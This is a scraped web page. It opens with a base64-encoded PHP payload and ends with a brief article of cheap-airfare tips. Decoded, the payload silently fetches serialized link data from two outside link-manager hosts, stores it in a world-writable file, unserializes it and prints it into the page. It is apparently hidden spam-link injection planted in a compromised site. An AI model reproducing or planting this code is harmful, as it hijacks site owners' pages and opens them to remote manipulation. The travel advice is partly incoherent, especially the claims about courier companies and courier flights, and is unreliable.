NTQxZTdmYTgzYWJmZGQ0Yzg0MTVmYjVjZDRlZDUnOw0KDQoJLy8gb3B0aW9uYWwNCiAgdmFyICRf dmVyYm9zZSAgICAgICAgICAgPSBmYWxzZTsNCiAgdmFyICRfY2hhcnNldCAgICAgICAgICAgPSAn VVRGLTgnOw0KCXZhciAkX2ZldGNoX3JlbW90ZV90eXBlID0gJ2ZpbGVfZ2V0X2NvbnRlbnRzJzsN Cgl2YXIgJF9zb2NrZXRfdGltZW91dCAgICA9IDY7DQoJdmFyICRfbGlua3NfZGVsaW1pdGVyCQk9 ICcgJzsNCgl2YXIgJF9zaG93X2NvZGUJCQkJCT0gZmFsc2U7DQoNCgkvLyBvdGhlcg0KICB2YXIg JF9zZXJ2ZXJzCQkJCQkJPSAnbGlua3NtYW5hZ2VyMS5pbnxsaW5rc21hbmFnZXIxLmNvLnR2JzsN CiAgdmFyICRfY2FjaGVfbGlmZXRpbWUgICAgPSAxMDgwMDsNCiAgdmFyICRfY2FjaGVfcmVsb2Fk dGltZSAgPSA2MDA7DQogIHZhciAkX2Vycm9yICAgICAgICAgICAgID0gJyc7DQogIHZhciAkX2Ri X2ZpbGUgICAgICAgICAgID0gJyc7DQoNCiAgZnVuY3Rpb24gQ01fYmFzZSgkb3B0aW9ucyA9IG51 bGwpIHsNCg0KCQlpZiAoaXNzZXQoJG9wdGlvbnNbJ3ZlcmJvc2UnXSkgJiYgJG9wdGlvbnNbJ3Zl cmJvc2UnXSA9PSB0cnVlKQ0KCQkJJHRoaXMtPl92ZXJib3NlID0gdHJ1ZTsNCg0KICAgIGlmIChp c3NldCgkb3B0aW9uc1snY2hhcnNldCddKSAmJiBzdHJsZW4oJG9wdGlvbnNbJ2NoYXJzZXQnXSkp DQogICAgICAkdGhpcy0+X2NoYXJzZXQgPSAkb3B0aW9uc1snY2hhcnNldCddOw0KDQogICAgaWYg KGlzc2V0KCRvcHRpb25zWydmZXRjaF9yZW1vdGVfdHlwZSddKSAmJiBzdHJsZW4oJG9wdGlvbnNb J2ZldGNoX3JlbW90ZV90eXBlJ10pKQ0KICAgICAgJHRoaXMtPl9mZXRjaF9yZW1vdGVfdHlwZSA9 ICRvcHRpb25zWydmZXRjaF9yZW1vdGVfdHlwZSddOw0KDQoJCWlmIChpc3NldCgkb3B0aW9uc1sn c29ja2V0X3RpbWVvdXQnXSkgJiYgaXNfbnVtZXJpYygkb3B0aW9uc1snc29ja2V0X3RpbWVvdXQn XSkgJiYgJG9wdGlvbnNbJ3NvY2tldF90aW1lb3V0J10gPiAwKQ0KICAgICAgJHRoaXMtPl9zb2Nr ZXRfdGltZW91dCA9ICRvcHRpb25zWydzb2NrZXRfdGltZW91dCddOw0KDQogICAgaWYgKGlzc2V0 KCRvcHRpb25zWydsaW5rc19kZWxpbWl0ZXInXSkgJiYgc3RybGVuKCRvcHRpb25zWydsaW5rc19k ZWxpbWl0ZXInXSkpDQogICAgICAkdGhpcy0+X2xpbmtzX2RlbGltaXRlciA9ICRvcHRpb25zWyds aW5rc19kZWxpbWl0ZXInXTsNCg0KICAgIGlmIChpc3NldCgkb3B0aW9uc1snc2hvd19jb2RlJ10p ICYmICRvcHRpb25zWydzaG93X2NvZGUnXSA9PSB0cnVlKQ0KICAgICAgICR0aGlzLT5fc2hvd19j b2RlID0gdHJ1ZTsNCgkNCgl9DQoNCg0KICBmdW5jdGlvbiBmZXRjaF9yZW1vdGVfZmlsZSgkaG9z dCwgJHBhdGgpIHsNCg0KCQlAaW5pX3NldCgnYWxsb3dfdXJsX2ZvcGVuJywgICAgICAgICAgMSk7 DQogICAgQGluaV9zZXQoJ2RlZmF1bHRfc29ja2V0X3RpbWVvdXQnLCAgICR0aGlzLT5fc29ja2V0 X3RpbWVvdXQpOw0KDQogICAgaWYgKCR0aGlzLT5fZmV0Y2hfcmVtb3RlX3R5cGUgPT0gJ2ZpbGVf Z2V0X2NvbnRlbnRzJyB8fCANCgkJCSgkdGhpcy0+X2ZldGNoX3JlbW90ZV90eXBlID09ICcnICYm IGZ1bmN0aW9uX2V4aXN0cygnZmlsZV9nZXRfY29udGVudHMnKSAmJiBpbmlfZ2V0KCdhbGxvd191 cmxfZm9wZW4nKSA9PSAxKSkgew0KICAgICAgICAgICAgDQoJCQkkdGhpcy0+X2ZldGNoX3JlbW90 ZV90eXBlID0gJ2ZpbGVfZ2V0X2NvbnRlbnRzJzsNCgkJCSRkYXRhID0gQGZpbGVfZ2V0X2NvbnRl bnRzKCdodHRwOi8vJyAuICRob3N0IC4gJHBhdGgpOw0KDQoJCQlpZiAoJGRhdGEpDQoJCQkJcmV0 dXJuICRkYXRhOw0KDQogICAgfSBlbHNlaWYgKCR0aGlzLT5fZmV0Y2hfcmVtb3RlX3R5cGUgPT0g J2N1cmwnIHx8IA0KCQkJKCR0aGlzLT5fZmV0Y2hfcmVtb3RlX3R5cGUgPT0gJycgJiYgZnVuY3Rp b25fZXhpc3RzKCdjdXJsX2luaXQnKSkpIHsNCiAgICAgICAgICAgIA0KCQkJJHRoaXMtPl9mZXRj aF9yZW1vdGVfdHlwZSA9ICdjdXJsJzsNCg0KICAgICAgaWYgKCRjaCA9IEBjdXJsX2luaXQoKSkg ew0KDQoJCQkJQGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICAgICAgICAgICAgICAnaHR0 cDovLycgLiAkaG9zdCAuICRwYXRoKTsNCgkJCQlAY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hF QURFUiwgICAgICAgICAgIGZhbHNlKTsNCgkJCQlAY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JF VFVSTlRSQU5TRkVSLCAgIHRydWUpOw0KCQkJCUBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09O TkVDVFRJTUVPVVQsICAgJHRoaXMtPl9zb2NrZXRfdGltZW91dCk7DQoNCiAgICAgICAgJGRhdGEg PSBAY3VybF9leGVjKCRjaCk7DQogICAgICAgIEBjdXJsX2Nsb3NlKCRjaCk7DQoNCgkJCQlpZiAo JGRhdGEpDQoJCQkJCXJldHVybiAkZGF0YTsNCgkJCX0NCg0KICAgIH0gZWxzZSB7DQoNCgkJCSR0 aGlzLT5fZmV0Y2hfcmVtb3RlX3R5cGUgPSAnc29ja2V0JzsNCg0KICAgICAgJGJ1ZmYgPSAnJzsN CiAgICAgICRmcCA9IEBmc29ja29wZW4oJGhvc3QsIDgwLCAkZXJybm8sICRlcnJzdHIsICR0aGlz LT5fc29ja2V0X3RpbWVvdXQpOw0KDQogICAgICBpZiAoJGZwKSB7DQoNCgkJCQlAZnB1dHMoJGZw LCAiR0VUIHskcGF0aH0gSFRUUC8xLjBcclxuSG9zdDogeyRob3N0fVxyXG4iKTsNCg0KCQkJCXdo aWxlICghQGZlb2YoJGZwKSkNCgkJCQkJJGJ1ZmYgLj0gQGZnZXRzKCRmcCwgMTI4KTsNCg0KCQkJ CUBmY2xvc2UoJGZwKTsNCg0KCQkJCSRwYWdlID0gZXhwbG9kZSgiXHJcblxyXG4iLCAkYnVmZik7 DQoJCQkJcmV0dXJuICRwYWdlWzFdOw0KDQogICAgICB9DQoNCiAgICB9DQoNCiAgICByZXR1cm4g JHRoaXMtPnJhaXNlX2Vycm9yKCcmIzEwNTM7JiMxMDc3OyAmIzEwODQ7JiMxMDg2OyYjMTA3NTsm IzEwOTE7ICYjMTA4NzsmIzEwODY7JiMxMDc2OyYjMTA4MjsmIzEwODM7JiMxMTAyOyYjMTA5NTsm IzEwODA7JiMxMDkwOyYjMTEwMDsmIzEwODk7JiMxMTAzOyAmIzEwODI7ICYjMTA4OTsmIzEwNzc7 JiMxMDg4OyYjMTA3NDsmIzEwNzc7JiMxMDg4OyYjMTA5MTs6ICcgLiAkaG9zdCAuICRwYXRoLics IHR5cGU6ICcuJHRoaXMtPl9mZXRjaF9yZW1vdGVfdHlwZSk7DQogIH0NCg0KICBmdW5jdGlvbiBf cmVhZCgkZmlsZW5hbWUpIHsNCiAgICAgICAgDQoJCSRmcCA9IEBmb3BlbigkZmlsZW5hbWUsICdy YicpOw0KCQlAZmxvY2soJGZwLCBMT0NLX1NIKTsNCg0KCQlpZiAoJGZwKSB7DQoNCgkJCWNsZWFy c3RhdGNhY2hlKCk7DQoJCQkkbGVuZ3RoID0gQGZpbGVzaXplKCRmaWxlbmFtZSk7DQoJCQkkbXFy ID0gZ2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKCk7DQoJCQlzZXRfbWFnaWNfcXVvdGVzX3J1bnRp bWUoMCk7DQoNCgkJCWlmICgkbGVuZ3RoKQ0KCQkJCSRkYXRhID0gQGZyZWFkKCRmcCwgJGxlbmd0 aCk7DQoJCQllbHNlDQoJCQkJJGRhdGEgPSAnJzsNCg0KICAgICAgc2V0X21hZ2ljX3F1b3Rlc19y dW50aW1lKCRtcXIpOw0KICAgICAgQGZsb2NrKCRmcCwgTE9DS19VTik7DQogICAgICBAZmNsb3Nl KCRmcCk7DQoNCiAgICAgIHJldHVybiAkZGF0YTsNCg0KICAgIH0NCg0KICAgIHJldHVybiAkdGhp cy0+cmFpc2VfZXJyb3IoJyYjMTA1MzsmIzEwNzc7ICYjMTA4NDsmIzEwODY7JiMxMDc1OyYjMTA5 MTsgJiMxMDg5OyYjMTA5NTsmIzEwODA7JiMxMDkwOyYjMTA3MjsmIzEwOTA7JiMxMTAwOyAmIzEw NzY7JiMxMDcyOyYjMTA4NTsmIzEwODU7JiMxMDk5OyYjMTA3NzsgJiMxMDgwOyYjMTA3OTsgJiMx MDkyOyYjMTA3MjsmIzEwODE7JiMxMDgzOyYjMTA3Mjs6ICcgLiAkZmlsZW5hbWUpOw0KICB9DQoN CiAgZnVuY3Rpb24gX3dyaXRlKCRmaWxlbmFtZSwgJGRhdGEpIHsNCg0KCQkkZnAgPSBAZm9wZW4o JGZpbGVuYW1lLCAnd2InKTsNCiAgICBpZiAoJGZwKSB7DQoJCQlAZmxvY2soJGZwLCBMT0NLX0VY KTsNCgkJCSRsZW5ndGggPSBzdHJsZW4oJGRhdGEpOw0KCQkJQGZ3cml0ZSgkZnAsICRkYXRhLCAk bGVuZ3RoKTsNCgkJCUBmbG9jaygkZnAsIExPQ0tfVU4pOw0KICAgICAgQGZjbG9zZSgkZnApOw0K DQogICAgICBpZiAobWQ1KCR0aGlzLT5fcmVhZCgkZmlsZW5hbWUpKSAhPSBtZDUoJGRhdGEpKQ0K CQkJCXJldHVybiAkdGhpcy0+cmFpc2VfZXJyb3IoJyYjMTA1MzsmIzEwNzI7JiMxMDg4OyYjMTA5 MTsmIzEwOTY7JiMxMDc3OyYjMTA4NTsmIzEwNzI7ICYjMTA5NDsmIzEwNzc7JiMxMDgzOyYjMTA4 NjsmIzEwODk7JiMxMDkwOyYjMTA4NTsmIzEwODY7JiMxMDg5OyYjMTA5MDsmIzExMDA7ICYjMTA3 NjsmIzEwNzI7JiMxMDg1OyYjMTA4NTsmIzEwOTk7JiMxMDkzOyAmIzEwODc7JiMxMDg4OyYjMTA4 MDsgJiMxMDc5OyYjMTA3MjsmIzEwODc7JiMxMDgwOyYjMTA4OTsmIzEwODA7ICYjMTA3NDsgJiMx MDkyOyYjMTA3MjsmIzEwODE7JiMxMDgzOzogJyAuICRmaWxlbmFtZSk7DQoNCiAgICAgIHJldHVy biB0cnVlOw0KICAgIH0NCg0KICAgIHJldHVybiAkdGhpcy0+cmFpc2VfZXJyb3IoJyYjMTA1Mzsm IzEwNzc7ICYjMTA4NDsmIzEwODY7JiMxMDc1OyYjMTA5MTsgJiMxMDc5OyYjMTA3MjsmIzEwODc7 JiMxMDgwOyYjMTA4OTsmIzEwNzI7JiMxMDkwOyYjMTEwMDsgJiMxMDc2OyYjMTA3MjsmIzEwODU7 JiMxMDg1OyYjMTA5OTsmIzEwNzc7ICYjMTA3NDsgJiMxMDkyOyYjMTA3MjsmIzEwODE7JiMxMDgz OzogJyAuICRmaWxlbmFtZSk7DQogIH0NCg0KICBmdW5jdGlvbiByYWlzZV9lcnJvcigkZSkgew0K DQoJCSR0aGlzLT5fZXJyb3IgPSAnPHAgc3R5bGU9ImNvbG9yOiByZWQ7IGZvbnQtd2VpZ2h0OiBi b2xkOyI+Q00gRVJST1I6ICcgLiAkZSAuICc8L3A+JzsNCg0KCQlpZiAoJHRoaXMtPl92ZXJib3Nl ID09IHRydWUpDQoJCQlwcmludCAkdGhpcy0+X2Vycm9yOw0KDQogICAgcmV0dXJuIGZhbHNlOw0K ICB9DQoNCiAgZnVuY3Rpb24gbG9hZF9kYXRhKCkgew0KDQoJCWlmICghaXNfZGlyKGRpcm5hbWUo X19GSUxFX18pLicvdGVtcCcpKXsNCgkJCWlmICghbWtkaXIoZGlybmFtZShfX0ZJTEVfXykuJy90 ZW1wJykpew0KCQkJCXJldHVybiAkdGhpcy0+cmFpc2VfZXJyb3IoJyYjMTA1MzsmIzEwNzc7JiMx MDkwOyAmIzEwODc7JiMxMDcyOyYjMTA4NzsmIzEwODI7JiMxMDgwOyAnIC4gZGlybmFtZShfX0ZJ TEVfXykuJy90ZW1wJy4gJy4gJiMxMDU3OyYjMTA4NjsmIzEwNzk7JiMxMDc2OyYjMTA3MjsmIzEw OTA7JiMxMTAwOyAmIzEwODU7JiMxMDc3OyAmIzEwOTE7JiMxMDc2OyYjMTA3MjsmIzEwODM7JiMx MDg2OyYjMTA4OTsmIzExMDA7LicpOw0KCQkJfQ0KCQl9DQoNCg0KICAgICR0aGlzLT5fZGJfZmls ZSA9IGRpcm5hbWUoX19GSUxFX18pIC4gJy90ZW1wL2xpbmtzLmRiJzsNCg0KICAgIGlmICghaXNf ZmlsZSgkdGhpcy0+X2RiX2ZpbGUpKSB7DQoNCgkJCWlmIChAdG91Y2goJHRoaXMtPl9kYl9maWxl KSkNCgkJCQlAY2htb2QoJHRoaXMtPl9kYl9maWxlLCAwNjY2KTsNCgkJCWVsc2UNCgkJCQlyZXR1 cm4gJHRoaXMtPnJhaXNlX2Vycm9yKCcmIzEwNTM7JiMxMDc3OyYjMTA5MDsgJiMxMDkyOyYjMTA3 MjsmIzEwODE7JiMxMDgzOyYjMTA3MjsgJyAuICR0aGlzLT5fZGJfZmlsZSAuICcuICYjMTA1Nzsm IzEwODY7JiMxMDc5OyYjMTA3NjsmIzEwNzI7JiMxMDkwOyYjMTEwMDsgJiMxMDg1OyYjMTA3Nzsg JiMxMDkxOyYjMTA3NjsmIzEwNzI7JiMxMDgzOyYjMTA4NjsmIzEwODk7JiMxMTAwOy4gJiMxMDQy OyYjMTA5OTsmIzEwODk7JiMxMDkwOyYjMTA3MjsmIzEwNzQ7JiMxMDgwOyYjMTA5MDsmIzEwNzc7 ICYjMTA4NzsmIzEwODg7JiMxMDcyOyYjMTA3NDsmIzEwNzI7IDc3NyAmIzEwODU7JiMxMDcyOyAm IzEwODc7JiMxMDcyOyYjMTA4NzsmIzEwODI7JiMxMDkxOy4nKTsNCg0KICAgIH0NCg0KICAgIGlm ICghaXNfd3JpdGFibGUoJHRoaXMtPl9kYl9maWxlKSkNCgkJCXJldHVybiAkdGhpcy0+cmFpc2Vf ZXJyb3IoJyYjMTA1MzsmIzEwNzc7JiMxMDkwOyAmIzEwNzY7JiMxMDg2OyYjMTA4OTsmIzEwOTA7 JiMxMDkxOyYjMTA4NzsmIzEwNzI7ICYjMTA4NTsmIzEwNzI7ICYjMTA3OTsmIzEwNzI7JiMxMDg3 OyYjMTA4MDsmIzEwODk7JiMxMTAwOyAmIzEwODI7ICYjMTA5MjsmIzEwNzI7JiMxMDgxOyYjMTA4 MzsmIzEwOTE7OiAnIC4gJHRoaXMtPl9kYl9maWxlIC4gJyEgJiMxMDQyOyYjMTA5OTsmIzEwODk7 JiMxMDkwOyYjMTA3MjsmIzEwNzQ7JiMxMDgwOyYjMTA5MDsmIzEwNzc7ICYjMTA4NzsmIzEwODg7 JiMxMDcyOyYjMTA3NDsmIzEwNzI7IDc3NyAmIzEwODU7JiMxMDcyOyAmIzEwODc7JiMxMDcyOyYj MTA4NzsmIzEwODI7JiMxMDkxOy4nKTsNCg0KICAgIEBjbGVhcnN0YXRjYWNoZSgpOw0KDQogICAg aWYgKChmaWxlbXRpbWUoJHRoaXMtPl9kYl9maWxlKSA8ICh0aW1lKCktJHRoaXMtPl9jYWNoZV9s aWZldGltZSkgfHwgZmlsZXNpemUoJHRoaXMtPl9kYl9maWxlKSA9PSAwKSkgew0KDQoJCQlAdG91 Y2goJHRoaXMtPl9kYl9maWxlLCAodGltZSgpIC0gJHRoaXMtPl9jYWNoZV9saWZldGltZSArICR0 aGlzLT5fY2FjaGVfcmVsb2FkdGltZSkpOw0KICAgICAgICAgICAgDQoJCQkkcGF0aCA9ICcvc3lz dGVtL21uZ3IucGhwP2lkPScgLiAkdGhpcy0+X2lkIC4gJyZtZDU9JyAuIG1kNSgkdGhpcy0+X3Jl YWQoJHRoaXMtPl9kYl9maWxlKSk7DQoNCiAgICAgIGlmIChzdHJsZW4oJHRoaXMtPl9jaGFyc2V0 KSkNCgkJCQkkcGF0aCAuPSAnJmNoYXJzZXQ9JyAuICR0aGlzLT5fY2hhcnNldDsNCg0KCQkJJHNl cnZlcnMgPSBleHBsb2RlKCJ8IiwgJHRoaXMtPl9zZXJ2ZXJzKTsNCgkJCWZvcmVhY2goJHNlcnZl cnMgYXMgJHNlcnZlcil7DQoNCgkJCQlpZiAoJGRhdGEgPSAkdGhpcy0+ZmV0Y2hfcmVtb3RlX2Zp bGUoJHNlcnZlciwgJHBhdGgpKXsNCgkJCQ0KCQkJCQlpZiAoc3Vic3RyKCRkYXRhLCAwLCAxMikg PT0gJ0ZBVEFMIEVSUk9SOicpIHsNCg0KCQkJCQkJJHRoaXMtPnJhaXNlX2Vycm9yKCRkYXRhKTsN Cg0KCQkJCQl9IGVsc2UgaWYgKHN1YnN0cigkZGF0YSwgMCwgOSkgIT0gJ1VOQ0hBTkdFRCcpIHsN Cg0KCQkJCQkJJGhhc2ggPSBAdW5zZXJpYWxpemUoJGRhdGEpOw0KDQoJCQkJCQlpZiAoJGhhc2gg IT0gZmFsc2UpIHsNCg0KCQkJCQkJCSRkYXRhX25ldyA9IEBzZXJpYWxpemUoJGhhc2gpOw0KDQoJ CQkJCQkJaWYgKCRkYXRhX25ldykNCgkJCQkJCQkJJGRhdGEgPSAkZGF0YV9uZXc7DQoJCQkJCQkJ DQoJCQkJCQkJJHRoaXMtPl93cml0ZSgkdGhpcy0+X2RiX2ZpbGUsICRkYXRhKTsNCg0KCQkJCQkJ CWJyZWFrOw0KDQoJCQkJCQl9DQoNCgkJCQkJfSAvLyBpZiBmYXRhbCBlcnJvciB1bmNoYW5nZWQN Cg0KCQkJCX0gLy8gZmV0Y2gNCg0KCQkJfSAvLyBmb3JlYWNoDQogICAgICAgICAgICANCiAgICB9 DQoNCiAgICBpZiAoJGRhdGEgPSAkdGhpcy0+X3JlYWQoJHRoaXMtPl9kYl9maWxlKSkNCgkJCSR0 aGlzLT5zZXRfZGF0YShAdW5zZXJpYWxpemUoJGRhdGEpKTsNCg0KICB9DQp9DQoNCmNsYXNzIENN X2NsaWVudCBleHRlbmRzIENNX2Jhc2Ugew0KDQoJdmFyICRfbGlua3NfcGFnZSA9IGFycmF5KCk7 DQoNCglmdW5jdGlvbiBDTV9jbGllbnQoJG9wdGlvbnMgPSBudWxsKSB7DQoJCQlwYXJlbnQ6OkNN X2Jhc2UoJG9wdGlvbnMpOw0KCQkJJHRoaXMtPmxvYWRfZGF0YSgpOw0KCX0NCg0KCWZ1bmN0aW9u IHJldHVybl9saW5rcygkbiA9IG51bGwsICRvZmZzZXQgPSAwKSB7DQoNCgkJJGh0bWwgPSAnJzsN Cg0KCQlpZiAoaXNfYXJyYXkoJHRoaXMtPl9saW5rc19wYWdlKSkgew0KDQoJCQkkdG90YWxfcGFn ZV9saW5rcyA9IGNvdW50KCR0aGlzLT5fbGlua3NfcGFnZSk7DQoNCgkJCWlmICghaXNfbnVtZXJp YygkbikgfHwgJG4gPiAkdG90YWxfcGFnZV9saW5rcykNCgkJCQkkbiA9ICR0b3RhbF9wYWdlX2xp bmtzOw0KDQoJCQkkbGlua3MgPSBhcnJheSgpOw0KDQoJCQlmb3IgKCRpID0gMTsgJGkgPD0gJG47 ICRpKyspIHsNCgkJCQlpZiAoJG9mZnNldCA+IDAgJiYgJGkgPD0gJG9mZnNldCkNCgkJCQkJYXJy YXlfc2hpZnQoJHRoaXMtPl9saW5rc19wYWdlKTsNCgkJCQllbHNlDQoJCQkJCSRsaW5rc1tdID0g YXJyYXlfc2hpZnQoJHRoaXMtPl9saW5rc19wYWdlKTsNCgkJCX0NCg0KCQkJJGh0bWwgPSBqb2lu KCR0aGlzLT5fbGlua3NfZGVsaW1pdGVyLCAkbGlua3MpOw0KCQkJCQkNCgkJfSBlbHNlIHsNCgkJ CSRodG1sID0gJHRoaXMtPl9saW5rc19wYWdlOw0KCQl9DQoNCgkJaWYgKCR0aGlzLT5fc2hvd19j b2RlKQ0KCQkJJGh0bWwgPSAkaHRtbCAuICc8IS0tQ00nLigkdGhpcy0+X2lkKS4nLS0+JzsNCg0K CQlyZXR1cm4gJGh0bWw7DQoNCgl9DQoNCg0KICBmdW5jdGlvbiBzZXRfZGF0YSgkZGF0YSkgew0K DQoJCSR0aGlzLT5fbGlua3NfcGFnZSA9ICRkYXRhOw0KDQogIH0NCn0NCg0KDQokQ00gPSBuZXcg Q01fY2xpZW50KCk7DQplY2hvICRDTS0+cmV0dXJuX2xpbmtzKCk7DQoNCg0K")); ?>

The easiest way to get a discounted airfare ticket while booking through an agent is to actually ask him, otherwise they probably wouldn’t tell you! Obviously, they would want you to spend as much money as possible, thereby increasing their profit. Another easy way is by not booking online, unless it is the airline’s website. Unless you are familiar with a particular site, do not book on it. This is because there are chances that on some other web pages there are tickets being sold on discount. It is cheaper to go and ask your travel agent. Another good strategy is to book a fully refundable ticket well in advance and cancel it later if a more attractive deal becomes available. This will give you the most leverage when you are trying to save money. It is also advisable to consult the courier companies. They will sometimes offer you discounted tickets if you use their services frequently.  If none of these options work out, opt for courier flights, when the return flight is scheduled less than a week after the arrival. This will allow you to save money by paying for both your arrival and departure tickets at one time.